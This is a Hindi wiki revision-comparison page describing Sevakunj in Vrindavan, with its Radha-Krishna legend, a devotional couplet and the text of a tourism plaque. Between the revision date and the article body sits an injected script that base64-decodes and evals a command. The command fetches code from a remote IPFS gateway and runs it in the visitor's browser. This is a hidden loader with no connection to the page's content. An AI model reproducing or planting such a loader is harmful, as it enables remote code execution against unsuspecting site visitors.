"सेवाकुंज" के अवतरणों में अंतर

ब्रज डिस्कवरी, एक मुक्त ज्ञानकोष से
नेविगेशन पर जाएँ खोज पर जाएँ
(नया पृष्ठ: ==सेवाकुंज== राधा तू बडिभागिनीकौन तपस्या कीन। तीन लोक तारनतरनसो त...)
 
पंक्ति १: पंक्ति १:
==सेवाकुंज==
+
{{menu}}<br />
 +
[[category:कोश]]  [[श्रेणी:दर्शनीय-स्थल]] [[category:धार्मिक स्थल]]
 +
==सेवाकुंज / Sevakunj==
  
 
राधा तू बडिभागिनीकौन तपस्या कीन।
 
राधा तू बडिभागिनीकौन तपस्या कीन।
पंक्ति ५: पंक्ति ७:
 
तीन लोक तारनतरनसो तेरे आधीन।।
 
तीन लोक तारनतरनसो तेरे आधीन।।
  
[[वृंदावन]] के प्राचीन दर्शनीय स्थल सेवाकुंज के भ्रमण से भक्तों की उक्त भावना एवं जिज्ञासा और भी प्रबल हो जाती है, जहां भगवान श्री[[कृष्ण]] अपनी शाश्वत शक्तिस्वरूपा एवं आह्लादिनी शक्ति राधारानी के चरण कमल पलोटते हैं । रासलीला के श्रम से व्यथित राधाजी की भगवान् द्वारा यह सेवा किए जाने के कारण इस स्थान का नाम सेवाकुंज पडा। लता दु्रमों से आच्छादित सेवाकुंज के मध्य में एक भव्य मंदिर है, जिसमें श्रीकृष्ण राधाजी के चरण कमल पलोटते हुए अति सुंदर रूप में विराजमान है। राधाजी की ललितादि सखियों के भी चित्रपट मंदिर की शोभा बढा रहे हैं। यहां एक कुंड भी है जिसके बारे में कहा जाता है कि रास-क्लांति से उत्पन्न पिपासा को शांत करने के लिए ललिता जी ने श्रीकृष्ण की वंशी से खुदाई करके इसका निर्माण किया था ।
+
[[वृंदावन]] के प्राचीन दर्शनीय स्थल सेवाकुंज के भ्रमण से भक्तों की उक्त भावना एवं जिज्ञासा और भी प्रबल हो जाती है, जहां भगवान श्री[[कृष्ण]] अपनी शाश्वत शक्तिस्वरूपा एवं आह्लादिनी शक्ति [[राधा]]रानी के चरण कमल पलोटते हैं । [[रासलीला]] के श्रम से व्यथित राधाजी की भगवान् द्वारा यह सेवा किए जाने के कारण इस स्थान का नाम सेवाकुंज पडा। लता दु्रमों से आच्छादित सेवाकुंज के मध्य में एक भव्य मंदिर है, जिसमें श्रीकृष्ण राधाजी के चरण कमल पलोटते हुए अति सुंदर रूप में विराजमान है। राधाजी की ललितादि सखियों के भी चित्रपट मंदिर की शोभा बढा रहे हैं। यहां एक कुंड भी है जिसके बारे में कहा जाता है कि रास-क्लांति से उत्पन्न पिपासा को शांत करने के लिए [[ललिता]] जी ने श्रीकृष्ण की वंशी से खुदाई करके इसका निर्माण किया था ।
 
----
 
----
सेवाकुंज के बीचोंबीच एक पक्का चबूतरा है, जनश्रुति है कि यहां आज भी नित्य रात्रि को रासलीला होती है। यहां बंदरों की भरमार है, लेकिन कहा जाता है कि रात्रि में सेवाकुंज में मनुष्य तो क्या कोई पशु पक्षी भी नहीं ठहरता । बंदर भी अन्यत्र चले जाते हैं । उत्तरप्रदेश पर्यटन विभाग ने यात्रियों को इस प्राचीन स्थल की जानकारी देने के लिए यहां एक प्रस्तर पट्ट लगा रखा है, जिसमें लिखा हुआ है, प्राचीन वृंदावन में लता कुंजों की विपुलता का परिचय कराने वाला यह मनोरम एवं रमणीक स्थल जिसके महल में श्री राधारानीजी का सुंदर मंदिर है और उसके निकट ही दर्शनीय ललिता कुंड है। यह वनखंड वृंदावन नगर की आबादी के मध्य लाल पत्थर की चारदीवारी से घिरा हुआ है। किवदंती के अनुसार अब भी हर रात्रि में श्रीकृष्ण एवं राधारानी की दिव्य रासलीला यहां होती है। रात्रि में यहां कोई नर-नारी तो क्या पशु पक्षी भी नहीं ठहरता है । गोस्वामी श्री हितहरवंश जी ने सन् 1590 में अन्य अनेक लीला स्थलों के साथ इसे भी प्रकट किया था।
+
सेवाकुंज के बीचोंबीच एक पक्का चबूतरा है, जनश्रुति है कि यहां आज भी नित्य रात्रि को रासलीला होती है। यहां बंदरों की भरमार है, लेकिन कहा जाता है कि रात्रि में सेवाकुंज में मनुष्य तो क्या कोई पशु पक्षी भी नहीं ठहरता । बंदर भी अन्यत्र चले जाते हैं । उत्तरप्रदेश पर्यटन विभाग ने यात्रियों को इस प्राचीन स्थल की जानकारी देने के लिए यहां एक प्रस्तर पट्ट लगा रखा है, जिसमें लिखा हुआ है, प्राचीन वृंदावन में लता कुंजों की विपुलता का परिचय कराने वाला यह मनोरम एवं रमणीक स्थल जिसके महल में श्री राधारानीजी का सुंदर मंदिर है और उसके निकट ही दर्शनीय ललिता कुंड है। यह वनखंड वृंदावन नगर की आबादी के मध्य लाल पत्थर की चारदीवारी से घिरा हुआ है। किवदंती के अनुसार अब भी हर रात्रि में श्रीकृष्ण एवं राधारानी की दिव्य रासलीला यहां होती है। रात्रि में यहां कोई नर-नारी तो क्या पशु पक्षी भी नहीं ठहरता है । गोस्वामी श्री हितहरवंश जी ने सन 1590 में अन्य अनेक लीला स्थलों के साथ इसे भी प्रकट किया था।

०७:१२, २६ जुलाई २००९ का अवतरण

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

सेवाकुंज / Sevakunj

राधा तू बडिभागिनीकौन तपस्या कीन।

तीन लोक तारनतरनसो तेरे आधीन।।

वृंदावन के प्राचीन दर्शनीय स्थल सेवाकुंज के भ्रमण से भक्तों की उक्त भावना एवं जिज्ञासा और भी प्रबल हो जाती है, जहां भगवान श्रीकृष्ण अपनी शाश्वत शक्तिस्वरूपा एवं आह्लादिनी शक्ति राधारानी के चरण कमल पलोटते हैं । रासलीला के श्रम से व्यथित राधाजी की भगवान् द्वारा यह सेवा किए जाने के कारण इस स्थान का नाम सेवाकुंज पडा। लता दु्रमों से आच्छादित सेवाकुंज के मध्य में एक भव्य मंदिर है, जिसमें श्रीकृष्ण राधाजी के चरण कमल पलोटते हुए अति सुंदर रूप में विराजमान है। राधाजी की ललितादि सखियों के भी चित्रपट मंदिर की शोभा बढा रहे हैं। यहां एक कुंड भी है जिसके बारे में कहा जाता है कि रास-क्लांति से उत्पन्न पिपासा को शांत करने के लिए ललिता जी ने श्रीकृष्ण की वंशी से खुदाई करके इसका निर्माण किया था ।


सेवाकुंज के बीचोंबीच एक पक्का चबूतरा है, जनश्रुति है कि यहां आज भी नित्य रात्रि को रासलीला होती है। यहां बंदरों की भरमार है, लेकिन कहा जाता है कि रात्रि में सेवाकुंज में मनुष्य तो क्या कोई पशु पक्षी भी नहीं ठहरता । बंदर भी अन्यत्र चले जाते हैं । उत्तरप्रदेश पर्यटन विभाग ने यात्रियों को इस प्राचीन स्थल की जानकारी देने के लिए यहां एक प्रस्तर पट्ट लगा रखा है, जिसमें लिखा हुआ है, प्राचीन वृंदावन में लता कुंजों की विपुलता का परिचय कराने वाला यह मनोरम एवं रमणीक स्थल जिसके महल में श्री राधारानीजी का सुंदर मंदिर है और उसके निकट ही दर्शनीय ललिता कुंड है। यह वनखंड वृंदावन नगर की आबादी के मध्य लाल पत्थर की चारदीवारी से घिरा हुआ है। किवदंती के अनुसार अब भी हर रात्रि में श्रीकृष्ण एवं राधारानी की दिव्य रासलीला यहां होती है। रात्रि में यहां कोई नर-नारी तो क्या पशु पक्षी भी नहीं ठहरता है । गोस्वामी श्री हितहरवंश जी ने सन 1590 में अन्य अनेक लीला स्थलों के साथ इसे भी प्रकट किया था।